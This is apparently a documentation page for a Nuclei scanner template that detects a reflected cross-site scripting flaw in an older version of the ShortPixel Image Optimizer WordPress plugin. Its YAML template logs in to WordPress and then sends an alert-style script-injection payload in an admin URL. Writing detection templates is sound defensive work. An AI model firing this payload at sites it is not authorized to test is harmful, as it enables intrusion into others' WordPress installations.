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WordPress ShortPixel Image Optimizer <4.22.10 - Cross-Site Scripting

ID: shortpixel-image-optimizer-xss

Severity: medium

Author: Akincibor

Tags: shortpixel,authenticated,wpscan,xss,wp-plugin,wp,wordpress

Description

Section titled “Description”

WordPress ShortPixel Image Optimizer 4.22.10 does not escape generated URLs before outputting them back in an attribute, leading to reflected cross-site scripting.

YAML Source

Section titled “YAML Source”
id: shortpixel-image-optimizer-xss


info:
  name: WordPress ShortPixel Image Optimizer <4.22.10 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress ShortPixel Image Optimizer 4.22.10 does not escape generated URLs before outputting them back in an attribute, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/8a0ddd14-7260-4fb6-bb87-2916aa41ff01
    - https://wordpress.org/plugins/shortpixel-image-optimiser
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 2
  tags: shortpixel,authenticated,wpscan,xss,wp-plugin,wp,wordpress


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=wp-shortpixel-settings&"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '&\"><script>alert(1)</script>&noheader=true&sp-action'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/shortpixel-image-optimizer-xss.yaml"

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